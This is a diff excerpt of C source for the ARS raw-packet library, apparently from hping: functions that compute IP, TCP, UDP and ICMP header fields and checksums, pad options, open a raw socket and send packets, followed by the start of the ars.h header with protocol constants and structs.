||||||
|
|
||||||
|
/* IP version */
|
||||||
|
if (ARS_DONTTAKE(flags, ARS_TAKE_IP_VERSION))
|
||||||
|
ip->version = 4;
|
||||||
|
/* IP header len */
|
||||||
|
if (ARS_DONTTAKE(flags, ARS_TAKE_IP_HDRLEN)) {
|
||||||
|
ip->ihl = (ARS_IPHDR_SIZE >> 2);
|
||||||
|
/* Add IP options len */
|
||||||
|
for (j = layer+1; j < ARS_MAX_LAYER; j++) {
|
||||||
|
if (pkt->p_layer[j].l_type != ARS_TYPE_IPOPT)
|
||||||
|
break;
|
||||||
|
ipoptlen += pkt->p_layer[j].l_size;
|
||||||
|
}
|
||||||
|
ip->ihl += ipoptlen >> 2;
|
||||||
|
}
|
||||||
|
/* IP tot len */
|
||||||
|
if (ARS_DONTTAKE(flags, ARS_TAKE_IP_TOTLEN))
|
||||||
|
ip->tot_len = htons(ars_relative_size(pkt, layer));
|
||||||
|
/* IP protocol field */
|
||||||
|
if (ARS_DONTTAKE(flags, ARS_TAKE_IP_PROTOCOL)) {
|
||||||
|
ip->protocol = ARS_IPPROTO_RAW; /* This is the default */
|
||||||
|
while (j < ARS_MAX_LAYER) {
|
||||||
|
if (pkt->p_layer[j].l_type == ARS_TYPE_IPOPT) {
|
||||||
|
j++;
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
switch(pkt->p_layer[j].l_type) {
|
||||||
|
case ARS_TYPE_IP:
|
||||||
|
ip->protocol = ARS_IPPROTO_IPIP;
|
||||||
|
break;
|
||||||
|
case ARS_TYPE_ICMP:
|
||||||
|
ip->protocol = ARS_IPPROTO_ICMP;
|
||||||
|
break;
|
||||||
|
case ARS_TYPE_UDP:
|
||||||
|
ip->protocol = ARS_IPPROTO_UDP;
|
||||||
|
break;
|
||||||
|
case ARS_TYPE_TCP:
|
||||||
|
ip->protocol = ARS_IPPROTO_TCP;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
/* We always calculate the IP checksum, since the kernel
|
||||||
|
* do it only for the first IP header in the datagram */
|
||||||
|
if (ARS_DONTTAKE(flags, ARS_TAKE_IP_CKSUM)) {
|
||||||
|
ip->check = 0;
|
||||||
|
ars_multi_cksum(&mc, ARS_MC_INIT, NULL, 0);
|
||||||
|
err = ars_multi_cksum(&mc, ARS_MC_UPDATE, ip, ARS_IPHDR_SIZE);
|
||||||
|
if (err != -ARS_OK)
|
||||||
|
return err;
|
||||||
|
for (j = layer+1; j < ARS_MAX_LAYER; j++) {
|
||||||
|
if (pkt->p_layer[j].l_type != ARS_TYPE_IPOPT)
|
||||||
|
break;
|
||||||
|
err = ars_multi_cksum(&mc, ARS_MC_UPDATE,
|
||||||
|
pkt->p_layer[j].l_data,
|
||||||
|
pkt->p_layer[j].l_size);
|
||||||
|
if (err != -ARS_OK)
|
||||||
|
return err;
|
||||||
|
}
|
||||||
|
ip->check = ars_multi_cksum(&mc, ARS_MC_FINAL, NULL, 0);
|
||||||
|
}
|
||||||
|
return -ARS_OK;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* The ip options compiler: do just option padding with NOP options */
|
||||||
|
int ars_compiler_ipopt(struct ars_packet *pkt, int layer)
|
||||||
|
{
|
||||||
|
int j, opt_size;
|
||||||
|
|
||||||
|
/* Padding is needed only in the last IP option */
|
||||||
|
if (layer != ARS_MAX_LAYER-1 &&
|
||||||
|
pkt->p_layer[layer+1].l_type == ARS_TYPE_IPOPT)
|
||||||
|
return ARS_OK;
|
||||||
|
|
||||||
|
/* Search the layer of the relative first TCP option */
|
||||||
|
j = layer - 1; /* We know that 'layer' is a tcp option */
|
||||||
|
while (j < ARS_MAX_LAYER && j >= 0 &&
|
||||||
|
pkt->p_layer[j].l_type == ARS_TYPE_IPOPT)
|
||||||
|
j--;
|
||||||
|
j++;
|
||||||
|
__D(printf("First IP OPTION layer is %d\n", j);)
|
||||||
|
opt_size = ars_relative_size(pkt, j) - ars_relative_size(pkt, layer+1);
|
||||||
|
__D(printf("IP OPTION size %d\n", opt_size);)
|
||||||
|
if (opt_size % 4) {
|
||||||
|
int padding = 4 - (opt_size % 4);
|
||||||
|
unsigned char *t;
|
||||||
|
int cur_size = pkt->p_layer[layer].l_size;
|
||||||
|
|
||||||
|
__D(printf("IP OPTION at layer %d needs %d bytes "
|
||||||
|
"of padding\n", layer, padding);)
|
||||||
|
t = realloc(pkt->p_layer[layer].l_data, cur_size + padding);
|
||||||
|
if (t == NULL) {
|
||||||
|
ars_set_error(pkt, "Out of memory padding IP options");
|
||||||
|
return -ARS_NOMEM;
|
||||||
|
}
|
||||||
|
memset(t+cur_size, ARS_IPOPT_NOP, padding);
|
||||||
|
pkt->p_layer[layer].l_size += padding;
|
||||||
|
}
|
||||||
|
return -ARS_OK;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Compute the UDP and TCP checksum using the pseudoheader.
|
||||||
|
* Note that this functions automatically care about TCP/UDP data */
|
||||||
|
int ars_udptcp_cksum(struct ars_packet *pkt, int layer, u_int16_t *sum)
|
||||||
|
{
|
||||||
|
struct ars_iphdr *ip;
|
||||||
|
struct ars_pseudohdr pseudo;
|
||||||
|
struct mc_context mc; /* multi-buffer checksum context */
|
||||||
|
int j = layer - 1, err;
|
||||||
|
|
||||||
|
/* search the first IP layer on the left:
|
||||||
|
* it returns an error if between the IP and
|
||||||
|
* the TCP layer there aren't just IPOPT layers:
|
||||||
|
* even with malformed packets this does not
|
||||||
|
* makes sense. */
|
||||||
|
while (j > 0 && pkt->p_layer[j].l_type == ARS_TYPE_IPOPT)
|
||||||
|
j--;
|
||||||
|
if (pkt->p_layer[j].l_type != ARS_TYPE_IP) {
|
||||||
|
ars_set_error(pkt, "TCP/UDP checksum requested, but IP header "
|
||||||
|
"not found");
|
||||||
|
return -ARS_INVALID;
|
||||||
|
}
|
||||||
|
ip = pkt->p_layer[j].l_data;
|
||||||
|
memset(&pseudo, 0, sizeof(pseudo)); /* actually not needed */
|
||||||
|
/* Copy the src and dst IP address */
|
||||||
|
memcpy(&pseudo.saddr, &ip->saddr, 4);
|
||||||
|
memcpy(&pseudo.daddr, &ip->daddr, 4);
|
||||||
|
pseudo.protocol = (pkt->p_layer[layer].l_type == ARS_TYPE_TCP)
|
||||||
|
? ARS_IPPROTO_TCP : ARS_IPPROTO_UDP;
|
||||||
|
pseudo.lenght = htons(ars_relative_size(pkt, layer));
|
||||||
|
|
||||||
|
/* Finally do the checksum */
|
||||||
|
ars_multi_cksum(&mc, ARS_MC_INIT, NULL, 0);
|
||||||
|
err = ars_multi_cksum(&mc, ARS_MC_UPDATE, &pseudo, sizeof(pseudo));
|
||||||
|
if (err != -ARS_OK)
|
||||||
|
return err;
|
||||||
|
for (j = layer; j < ARS_MAX_LAYER; j++) {
|
||||||
|
if (pkt->p_layer[j].l_type == ARS_TYPE_NULL)
|
||||||
|
break;
|
||||||
|
err = ars_multi_cksum(&mc, ARS_MC_UPDATE,
|
||||||
|
pkt->p_layer[j].l_data,
|
||||||
|
pkt->p_layer[j].l_size);
|
||||||
|
if (err != -ARS_OK)
|
||||||
|
return err;
|
||||||
|
}
|
||||||
|
*sum = ars_multi_cksum(&mc, ARS_MC_FINAL, NULL, 0);
|
||||||
|
return -ARS_OK;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* The tcp compiler */
|
||||||
|
int ars_compiler_tcp(struct ars_packet *pkt, int layer)
|
||||||
|
{
|
||||||
|
struct ars_tcphdr *tcp = pkt->p_layer[layer].l_data;
|
||||||
|
int j, err, tcpoptlen = 0;
|
||||||
|
int flags = pkt->p_layer[layer].l_flags;
|
||||||
|
|
||||||
|
if (ARS_DONTTAKE(flags, ARS_TAKE_TCP_HDRLEN)) {
|
||||||
|
tcp->th_off = ARS_TCPHDR_SIZE >> 2;
|
||||||
|
/* Add the len of the options */
|
||||||
|
for (j = layer+1; j < ARS_MAX_LAYER; j++) {
|
||||||
|
if (pkt->p_layer[j].l_type != ARS_TYPE_TCPOPT)
|
||||||
|
break;
|
||||||
|
tcpoptlen += pkt->p_layer[j].l_size;
|
||||||
|
}
|
||||||
|
tcp->th_off += tcpoptlen >> 2;
|
||||||
|
}
|
||||||
|
if (ARS_DONTTAKE(flags, ARS_TAKE_TCP_CKSUM)) {
|
||||||
|
tcp->th_sum = 0;
|
||||||
|
err = ars_udptcp_cksum(pkt, layer, &tcp->th_sum);
|
||||||
|
if (err != -ARS_OK)
|
||||||
|
return err;
|
||||||
|
}
|
||||||
|
return -ARS_OK;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* The tcp options compiler: do just option padding with NOP options */
|
||||||
|
int ars_compiler_tcpopt(struct ars_packet *pkt, int layer)
|
||||||
|
{
|
||||||
|
int j, opt_size;
|
||||||
|
|
||||||
|
/* Padding is needed only in the last TCP option */
|
||||||
|
if (layer != ARS_MAX_LAYER-1 &&
|
||||||
|
pkt->p_layer[layer+1].l_type == ARS_TYPE_TCPOPT)
|
||||||
|
return ARS_OK;
|
||||||
|
|
||||||
|
/* Search the layer of the relative first TCP option */
|
||||||
|
j = layer - 1; /* We know that 'layer' is a tcp option */
|
||||||
|
while (j < ARS_MAX_LAYER && j >= 0 &&
|
||||||
|
pkt->p_layer[j].l_type == ARS_TYPE_TCPOPT)
|
||||||
|
j--;
|
||||||
|
j++;
|
||||||
|
__D(printf("First TCP OPTION layer is %d\n", j);)
|
||||||
|
opt_size = ars_relative_size(pkt, j) - ars_relative_size(pkt, layer+1);
|
||||||
|
__D(printf("TCP OPTION size %d\n", opt_size);)
|
||||||
|
if (opt_size % 4) {
|
||||||
|
int padding = 4 - (opt_size % 4);
|
||||||
|
unsigned char *t;
|
||||||
|
int cur_size = pkt->p_layer[layer].l_size;
|
||||||
|
|
||||||
|
__D(printf("TCP OPTION at layer %d needs %d bytes "
|
||||||
|
"of padding\n", layer, padding);)
|
||||||
|
t = realloc(pkt->p_layer[layer].l_data, cur_size + padding);
|
||||||
|
if (t == NULL) {
|
||||||
|
ars_set_error(pkt, "Out of memory padding TCP options");
|
||||||
|
return -ARS_NOMEM;
|
||||||
|
}
|
||||||
|
memset(t+cur_size, ARS_TCPOPT_NOP, padding);
|
||||||
|
pkt->p_layer[layer].l_size += padding;
|
||||||
|
}
|
||||||
|
return -ARS_OK;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* The udp compiler, very simple */
|
||||||
|
int ars_compiler_udp(struct ars_packet *pkt, int layer)
|
||||||
|
{
|
||||||
|
struct ars_udphdr *udp = pkt->p_layer[layer].l_data;
|
||||||
|
int err;
|
||||||
|
int flags = pkt->p_layer[layer].l_flags;
|
||||||
|
|
||||||
|
if (ARS_DONTTAKE(flags, ARS_TAKE_UDP_LEN))
|
||||||
|
udp->uh_ulen = htons(ars_relative_size(pkt, layer));
|
||||||
|
|
||||||
|
if (ARS_DONTTAKE(flags, ARS_TAKE_UDP_CKSUM)) {
|
||||||
|
udp->uh_sum = 0;
|
||||||
|
err = ars_udptcp_cksum(pkt, layer, &udp->uh_sum);
|
||||||
|
if (err != -ARS_OK)
|
||||||
|
return err;
|
||||||
|
}
|
||||||
|
return -ARS_OK;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* The icmp compiler, just compute the checksum */
|
||||||
|
int ars_compiler_icmp(struct ars_packet *pkt, int layer)
|
||||||
|
{
|
||||||
|
struct ars_icmphdr *icmp = pkt->p_layer[layer].l_data;
|
||||||
|
struct mc_context mc; /* multi-buffer checksum context */
|
||||||
|
int err, j;
|
||||||
|
int flags = pkt->p_layer[layer].l_flags;
|
||||||
|
|
||||||
|
if (ARS_DONTTAKE(flags, ARS_TAKE_ICMP_CKSUM)) {
|
||||||
|
icmp->checksum = 0;
|
||||||
|
ars_multi_cksum(&mc, ARS_MC_INIT, NULL, 0);
|
||||||
|
for (j = layer; j < ARS_MAX_LAYER; j++) {
|
||||||
|
if (pkt->p_layer[j].l_type == ARS_TYPE_NULL)
|
||||||
|
break;
|
||||||
|
err = ars_multi_cksum(&mc, ARS_MC_UPDATE,
|
||||||
|
pkt->p_layer[j].l_data,
|
||||||
|
pkt->p_layer[j].l_size);
|
||||||
|
if (err != -ARS_OK)
|
||||||
|
return err;
|
||||||
|
}
|
||||||
|
icmp->checksum = ars_multi_cksum(&mc, ARS_MC_FINAL, NULL, 0);
|
||||||
|
}
|
||||||
|
return -ARS_OK;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Open a raw socket, ready for IP header creation and broadcast addresses */
|
||||||
|
int ars_open_rawsocket(struct ars_packet *pkt)
|
||||||
|
{
|
||||||
|
int s;
|
||||||
|
const int one = 1;
|
||||||
|
|
||||||
|
if ((s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) == -1) {
|
||||||
|
ars_set_error(pkt, "Can't open the raw socket");
|
||||||
|
return -ARS_ERROR;
|
||||||
|
}
|
||||||
|
if (setsockopt(s, SOL_SOCKET, SO_BROADCAST, (char*)&one,
|
||||||
|
sizeof(one)) == -1 ||
|
||||||
|
setsockopt(s, IPPROTO_IP, IP_HDRINCL, (char*)&one,
|
||||||
|
sizeof(one)) == -1)
|
||||||
|
{
|
||||||
|
close(s);
|
||||||
|
ars_set_error(pkt, "Can't set socket options");
|
||||||
|
return -ARS_ERROR;
|
||||||
|
}
|
||||||
|
return s;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Create the packets using the layers. This function is often called
|
||||||
|
* after the layers compilation. Note that since the packet created
|
||||||
|
* is sane the strange-rawsocket-behaviour of some *BSD will not
|
||||||
|
* be able to send this packet. Use the function ars_bsd_fix() to fix it.
|
||||||
|
* WARNING: The packets returned is malloc()ated, free it */
|
||||||
|
int ars_build_packet(struct ars_packet *pkt, unsigned char **packet, size_t *size)
|
||||||
|
{
|
||||||
|
size_t tot_size, offset = 0;
|
||||||
|
int j = 0;
|
||||||
|
|
||||||
|
if ((tot_size = ars_packet_size(pkt)) == 0) {
|
||||||
|
ars_set_error(pkt, "Total size 0 building the packet");
|
||||||
|
return -ARS_INVALID;
|
||||||
|
}
|
||||||
|
if ((*packet = malloc(tot_size)) == NULL) {
|
||||||
|
ars_set_error(pkt, "Out of memory building the packet");
|
||||||
|
return -ARS_NOMEM;
|
||||||
|
}
|
||||||
|
while (j < ARS_MAX_LAYER && pkt->p_layer[j].l_type != ARS_TYPE_NULL) {
|
||||||
|
memcpy((*packet)+offset, pkt->p_layer[j].l_data,
|
||||||
|
pkt->p_layer[j].l_size);
|
||||||
|
offset += pkt->p_layer[j].l_size;
|
||||||
|
j++;
|
||||||
|
}
|
||||||
|
*size = tot_size;
|
||||||
|
return -ARS_OK;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* FreeBSD and NetBSD have a strange raw socket layer :(
|
||||||
|
* Call this function anyway to increase portability
|
||||||
|
* since it does not perform any operation if the
|
||||||
|
* system isn't FreeBSD or NetBSD. */
|
||||||
|
int ars_bsd_fix(struct ars_packet *pkt, unsigned char *packet, size_t size)
|
||||||
|
{
|
||||||
|
struct ars_iphdr *ip;
|
||||||
|
|
||||||
|
if (pkt->p_layer[0].l_type != ARS_TYPE_IP ||
|
||||||
|
size < sizeof(struct ars_iphdr)) {
|
||||||
|
ars_set_error(pkt, "BSD fix requested, but layer 0 not IP");
|
||||||
|
return -ARS_INVALID;
|
||||||
|
}
|
||||||
|
ip = (struct ars_iphdr*) packet;
|
||||||
|
#if defined OSTYPE_FREEBSD || defined OSTYPE_NETBSD || defined OSTYPE_BSDI
|
||||||
|
ip->tot_len = ntohs(ip->tot_len);
|
||||||
|
ip->frag_off = ntohs(ip->frag_off);
|
||||||
|
#endif
|
||||||
|
return -ARS_OK;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Set the flags for some layer: if layer == -1 the last layer will be used */
|
||||||
|
int ars_set_flags(struct ars_packet *pkt, int layer, int flags)
|
||||||
|
{
|
||||||
|
if (layer == ARS_LAST_LAYER)
|
||||||
|
layer = pkt->p_layer_nr - 1;
|
||||||
|
if (layer < 0 || layer >= ARS_MAX_LAYER) {
|
||||||
|
ars_set_error(pkt, "Invalid layer setting layer flags");
|
||||||
|
return -ARS_INVALID;
|
||||||
|
}
|
||||||
|
pkt->p_layer[layer].l_flags = flags;
|
||||||
|
return -ARS_OK;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Build, fix, and send the packet */
|
||||||
|
int ars_send(int s, struct ars_packet *pkt, struct sockaddr *sa, socklen_t slen)
|
||||||
|
{
|
||||||
|
struct sockaddr_in sain;
|
||||||
|
struct sockaddr *_sa = sa;
|
||||||
|
unsigned char *packet;
|
||||||
|
size_t size;
|
||||||
|
int error;
|
||||||
|
|
||||||
|
/* Perform the socket address completion if sa == NULL */
|
||||||
|
if (sa == NULL) {
|
||||||
|
struct ars_iphdr *ip;
|
||||||
|
|
||||||
|
memset(&sain, 0, sizeof(sain));
|
||||||
|
sain.sin_family = AF_INET;
|
||||||
|
/* The first layer MUST be IP if the user requested
|
||||||
|
* the socket address completion */
|
||||||
|
if (pkt->p_layer[0].l_type != ARS_TYPE_IP) {
|
||||||
|
ars_set_error(pkt, "socket address completion"
|
||||||
|
"requested, but layer 0 isn't IP");
|
||||||
|
return -ARS_ERROR;
|
||||||
|
}
|
||||||
|
ip = (struct ars_iphdr*) pkt->p_layer[0].l_data;
|
||||||
|
memcpy(&sain.sin_addr.s_addr, &ip->daddr, 4);
|
||||||
|
_sa = (struct sockaddr*) &sain;
|
||||||
|
slen = sizeof(sain);
|
||||||
|
}
|
||||||
|
if ((error = ars_build_packet(pkt, &packet, &size)) != ARS_OK)
|
||||||
|
return error;
|
||||||
|
if ((error = ars_bsd_fix(pkt, packet, size)) != ARS_OK)
|
||||||
|
return error;
|
||||||
|
error = sendto(s, packet, size, 0, _sa, slen);
|
||||||
|
free(packet);
|
||||||
|
return (error != -1) ? -ARS_OK : -ARS_ERROR;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Resolve an hostname and write to 'dest' the IP */
|
||||||
|
int ars_resolve(struct ars_packet *pkt, u_int32_t *dest, char *hostname)
|
||||||
|
{
|
||||||
|
struct sockaddr_in sa;
|
||||||
|
|
||||||
|
if (inet_aton(hostname, &sa.sin_addr) == 0) {
|
||||||
|
struct hostent *he;
|
||||||
|
he = gethostbyname(hostname);
|
||||||
|
if (he == NULL) {
|
||||||
|
ars_set_error(pkt, "Can't resolve the hostname");
|
||||||
|
return -ARS_ERROR;
|
||||||
|
}
|
||||||
|
sa.sin_addr.s_addr = ((struct in_addr*) he->h_addr)->s_addr;
|
||||||
|
}
|
||||||
|
memcpy(dest, &sa.sin_addr.s_addr, sizeof(u_int32_t));
|
||||||
|
return -ARS_OK;
|
||||||
|
}
|
450
ars.h
Normal file
450
ars.h
Normal file
@ -0,0 +1,450 @@
|
|||||||
|
/* Copyright (C) 2000,2001 Salvatore Sanfilippo <antirez@invece.org>
|
||||||
|
* See the LICENSE file for more information. */
|
||||||
|
|
||||||
|
/* $Id: ars.h,v 1.3 2003/07/28 09:00:55 njombart Exp $ */
|
||||||
|
|
||||||
|
#ifndef _ARS_H
|
||||||
|
#define _ARS_H
|
||||||
|
|
||||||
|
/* define before including sys/socket.h */
|
||||||
|
#if defined(__APPLE__)
|
||||||
|
#define _BSD_SOCKLEN_T_ int
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#include <sys/types.h>
|
||||||
|
#include <sys/socket.h>
|
||||||
|
#include "systype.h"
|
||||||
|
#include "in.h"
|
||||||
|
#include "bytesex.h"
|
||||||
|
|
||||||
|
#ifndef TRUE
|
||||||
|
#define TRUE 1
|
||||||
|
#define FALSE 0
|
||||||
|
#endif
|
||||||
|
|
||||||
|
|
||||||
|
#ifndef MIN
|
||||||
|
#define MIN(x,y) ((x)<(y)?(x):(y))
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#ifndef MAX
|
||||||
|
#define MAX(x,y) ((x)>(y)?(x):(y))
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#ifdef DEBUG
|
||||||
|
#define __D(x) x
|
||||||
|
#else
|
||||||
|
#define __D(x) do { } while (0);
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#ifndef __u8
|
||||||
|
#define __u8 u_int8_t
|
||||||
|
#define __u16 u_int16_t
|
||||||
|
#define __u32 u_int32_t
|
||||||
|
#endif
|
||||||
|
|
||||||
|
/* error codes */
|
||||||
|
#define ARS_OK 0
|
||||||
|
#define ARS_ERROR 1
|
||||||
|
#define ARS_NOSPACE 2
|
||||||
|
#define ARS_NOMEM 3
|
||||||
|
#define ARS_INVALID 4
|
||||||
|
|
||||||
|
/* Headers size */
|
||||||
|
#define ARS_ICMPHDR_SIZE sizeof(struct ars_icmphdr)
|
||||||
|
#define ARS_UDPHDR_SIZE sizeof(struct ars_udphdr)
|
||||||
|
#define ARS_TCPHDR_SIZE sizeof(struct ars_tcphdr)
|
||||||
|
#define ARS_IPHDR_SIZE sizeof(struct ars_iphdr)
|
||||||
|
#define ARS_PSEUDOHDR_SIZE sizeof(struct pseudohdr)
|
||||||
|
|
||||||
|
/* IP defines */
|
||||||
|
#define ARS_MAX_IP_SIZE 65535
|
||||||
|
|
||||||
|
#define ARS_IP_MF ((unsigned short)0x2000) /* more fragments */
|
||||||
|
#define ARS_IP_DF ((unsigned short)0x4000) /* dont fragment */
|
||||||
|
#define ARS_IP_RF ((unsigned short)0x8000) /* reserved fragment flag */
|
||||||
|
|
||||||
|
#define ARS_IPOPT_COPY 0x80
|
||||||
|
#define ARS_IPOPT_CLASS_MASK 0x60
|
||||||
|
#define ARS_IPOPT_NUMBER_MASK 0x1f
|
||||||
|
|
||||||
|
#define ARS_IPOPT_COPIED(o) ((o)&ARS_IPOPT_COPY)
|
||||||
|
#define ARS_IPOPT_CLASS(o) ((o)&ARS_IPOPT_CLASS_MASK)
|
||||||
|
#define ARS_IPOPT_NUMBER(o) ((o)&ARS_IPOPT_NUMBER_MASK)
|
||||||
|
|
||||||
|
#define ARS_IPOPT_CONTROL 0x00
|
||||||
|
#define ARS_IPOPT_RESERVED1 0x20
|
||||||
|
#define ARS_IPOPT_MEASUREMENT 0x40
|
||||||
|
#define ARS_IPOPT_RESERVED2 0x60
|
||||||
|
|
||||||
|
#define ARS_IPOPT_END (0 |ARS_IPOPT_CONTROL)
|
||||||
|
#define ARS_IPOPT_NOOP (1 |ARS_IPOPT_CONTROL)
|
||||||
|
#define ARS_IPOPT_SEC (2 |ARS_IPOPT_CONTROL|ARS_IPOPT_COPY)
|
||||||
|
#define ARS_IPOPT_LSRR (3 |ARS_IPOPT_CONTROL|ARS_IPOPT_COPY)
|
||||||
|
#define ARS_IPOPT_TIMESTAMP (4 |ARS_IPOPT_MEASUREMENT)
|
||||||
|
#define ARS_IPOPT_RR (7 |ARS_IPOPT_CONTROL)
|
||||||
|
#define ARS_IPOPT_SID (8 |ARS_IPOPT_CONTROL|ARS_IPOPT_COPY)
|
||||||
|
#define ARS_IPOPT_SSRR (9 |ARS_IPOPT_CONTROL|ARS_IPOPT_COPY)
|
||||||
|
#define ARS_IPOPT_RA (20|ARS_IPOPT_CONTROL|ARS_IPOPT_COPY)
|
||||||
|
|
||||||
|
#define ARS_IPOPT_OPTVAL 0
|
||||||
|
#define ARS_IPOPT_OLEN 1
|
||||||
|
#define ARS_IPOPT_OFFSET 2
|
||||||
|
#define ARS_IPOPT_MINOFF 4
|
||||||
|
#define ARS_MAX_IPOPTLEN 40
|
||||||
|
#define ARS_IPOPT_NOP ARS_IPOPT_NOOP
|
||||||
|
#define ARS_IPOPT_EOL ARS_IPOPT_END
|
||||||
|
#define ARS_IPOPT_TS ARS_IPOPT_TIMESTAMP
|
||||||
|
|
||||||
|
#define ARS_IPOPT_TS_TSONLY 0 /* timestamps only */
|
||||||
|
#define ARS_IPOPT_TS_TSANDADDR 1 /* timestamps and addresses */
|
||||||
|
#define ARS_IPOPT_TS_PRESPEC 3 /* specified modules only */
|
||||||
|
|
||||||
|
/* IPV4 and IPV6 string rappresentation len */
|
||||||
|
#define ARS_INET_ADDRSTRLEN 16
|
||||||
|
#define ARS_INET6_ADDRSTRLEN 46
|
||||||
|
|
||||||
|
/* TCP */
|
||||||
|
#define ARS_TCPOPT_EOL 0
|
||||||
|
#define ARS_TCPOPT_NOP 1
|
||||||
|
#define ARS_TCPOPT_MAXSEG 2
|
||||||
|
#define ARS_TCPOPT_WINDOW 3
|
||||||
|
#define ARS_TCPOPT_SACK_PERM 4
|
||||||
|
#define ARS_TCPOPT_SACK 5
|
||||||
|
#define ARS_TCPOPT_ECHOREQUEST 6
|
||||||
|
#define ARS_TCPOPT_ECHOREPLY 7
|
||||||
|
#define ARS_TCPOPT_TIMESTAMP 8
|
||||||
|
|
||||||
|
#define ARS_TCP_TH_FIN 0x01
|
||||||
|
#define ARS_TCP_TH_SYN 0x02
|
||||||
|
#define ARS_TCP_TH_RST 0x04
|
||||||
|
#define ARS_TCP_TH_PUSH 0x08
|
||||||
|
#define ARS_TCP_TH_ACK 0x10
|
||||||
|
#define ARS_TCP_TH_URG 0x20
|
||||||
|
#define ARS_TCP_TH_X 0x40 /* X tcp flag */
|
||||||
|
#define ARS_TCP_TH_Y 0x80 /* Y tcp flag */
|
||||||
|
|
||||||
|
/* ICMP TYPE */
|
||||||
|
#define ARS_ICMP_ECHOREPLY 0 /* Echo Reply */
|
||||||
|
#define ARS_ICMP_DEST_UNREACH 3 /* Destination Unreachable */
|
||||||
|
#define ARS_ICMP_SOURCE_QUENCH 4 /* Source Quench */
|
||||||
|
#define ARS_ICMP_REDIRECT 5 /* Redirect (change route) */
|
||||||
|
#define ARS_ICMP_ECHO 8 /* Echo Request */
|
||||||
|
#define ARS_ICMP_TIME_EXCEEDED 11 /* Time Exceeded */
|
||||||
|
#define ARS_ICMP_PARAMETERPROB 12 /* Parameter Problem */
|
||||||
|
#define ARS_ICMP_TIMESTAMP 13 /* Timestamp Request */
|
||||||
|
#define ARS_ICMP_TIMESTAMPREPLY 14 /* Timestamp Reply */
|
||||||
|
#define ARS_ICMP_INFO_REQUEST 15 /* Information Request */
|
||||||
|
#define ARS_ICMP_INFO_REPLY 16 /* Information Reply */
|
||||||
|
#define ARS_ICMP_ADDRESS 17 /* Address Mask Request */
|
||||||
|
#define ARS_ICMP_ADDRESSREPLY 18 /* Address Mask Reply */
|
||||||
|
|
||||||
|
/* Codes for UNREACHABLE */
|
||||||
|
#define ARS_ICMP_UNR_NET 0 /* Network Unreachable */
|
||||||
|
#define ARS_ICMP_UNR_HOST 1 /* Host Unreachable */
|
||||||
|
#define ARS_ICMP_UNR_PROT 2 /* Protocol Unreachable */
|
||||||
|
#define ARS_ICMP_UNR_PORT 3 /* Port Unreachable */
|
||||||
|
#define ARS_ICMP_UNR_FRAG_NEEDED 4 /* Fragmentation Needed,DF set*/
|
||||||
|
#define ARS_ICMP_UNR_SR_FAILED 5 /* Source Route failed */
|
||||||
|
#define ARS_ICMP_UNR_UNK_NET 6
|
||||||
|
#define ARS_ICMP_UNR_UNK_HOST 7
|
||||||
|
#define ARS_ICMP_UNR_ISOLATED_HOST 8
|
||||||
|
#define ARS_ICMP_UNR_NET_ANO 9
|
||||||
|
#define ARS_ICMP_UNR_HOST_ANO 10
|
||||||
|
#define ARS_ICMP_UNR_NET_UNR_TOS 11
|
||||||
|
#define ARS_ICMP_UNR_HOST_UNR_TOS 12
|
||||||
|
#define ARS_ICMP_UNR_PKT_FILTERED 13 /* Packet filtered */
|
||||||
|
#define ARS_ICMP_UNR_PREC_VIOLATION 14 /* Precedence violation */
|
||||||
|
#define ARS_ICMP_UNR_PREC_CUTOFF 15 /* Precedence cut off */
|
||||||
|
#define ARS_NR_ICMP_UNREACH 15 /* Instead of hardcoded immediate value */
|
||||||
|
|
||||||
|
/* Codes for REDIRECT */
|
||||||
|
#define ARS_ICMP_REDIR_NET 0 /* Redirect Net */
|
||||||
|
#define ARS_ICMP_REDIR_HOST 1 /* Redirect Host */
|
||||||
|
#define ARS_ICMP_REDIR_NETTOS 2 /* Redirect Net for TOS */
|
||||||
|
#define ARS_ICMP_REDIR_HOSTTOS 3 /* Redirect Host for TOS */
|
||||||
|
|
||||||
|
/* Codes for TIME_EXCEEDED */
|
||||||
|
#define ARS_ICMP_EXC_TTL 0 /* TTL count exceeded */
|
||||||
|
#define ARS_ICMP_EXC_FRAGTIME 1 /* TTL exceeded reassembling */
|
||||||
|
|
||||||
|
/* The IP header structure */
|
||||||
|
struct ars_iphdr {
|
||||||
|
#if defined(BYTE_ORDER_LITTLE_ENDIAN)
|
||||||
|
__u8 ihl:4,
|
||||||
|
version:4;
|
||||||
|
#elif defined (BYTE_ORDER_BIG_ENDIAN)
|
||||||
|
__u8 version:4,
|
||||||
|
ihl:4;
|
||||||
|
#else
|
||||||
|
#error "Please, edit Makefile and add -DBYTE_ORDER_(BIG|LITTLE)_ENDIAN"
|
||||||
|
#endif
|
||||||
|
__u8 tos;
|
||||||
|
__u16 tot_len;
|
||||||
|
__u16 id;
|
||||||
|
__u16 frag_off;
|
||||||
|
__u8 ttl;
|
||||||
|
__u8 protocol;
|
||||||
|
__u16 check;
|
||||||
|
__u32 saddr;
|
||||||
|
__u32 daddr;
|
||||||
|
};
|
||||||
|
|
||||||
|
/* The IP options structure */
|
||||||
|
struct ars_ipopt {
|
||||||
|
u_int8_t kind;
|
||||||
|
u_int8_t len;
|
||||||
|
union {
|
||||||
|
struct {
|
||||||
|
u_int16_t s;
|
||||||
|
u_int16_t c;
|
||||||
|
u_int16_t h;
|
||||||
|
u_int8_t tcc[3];
|
||||||
|
} sec; /* security */
|
||||||
|
struct {
|
||||||
|
u_int8_t ptr;
|
||||||
|
u_int8_t data[37];
|
||||||
|
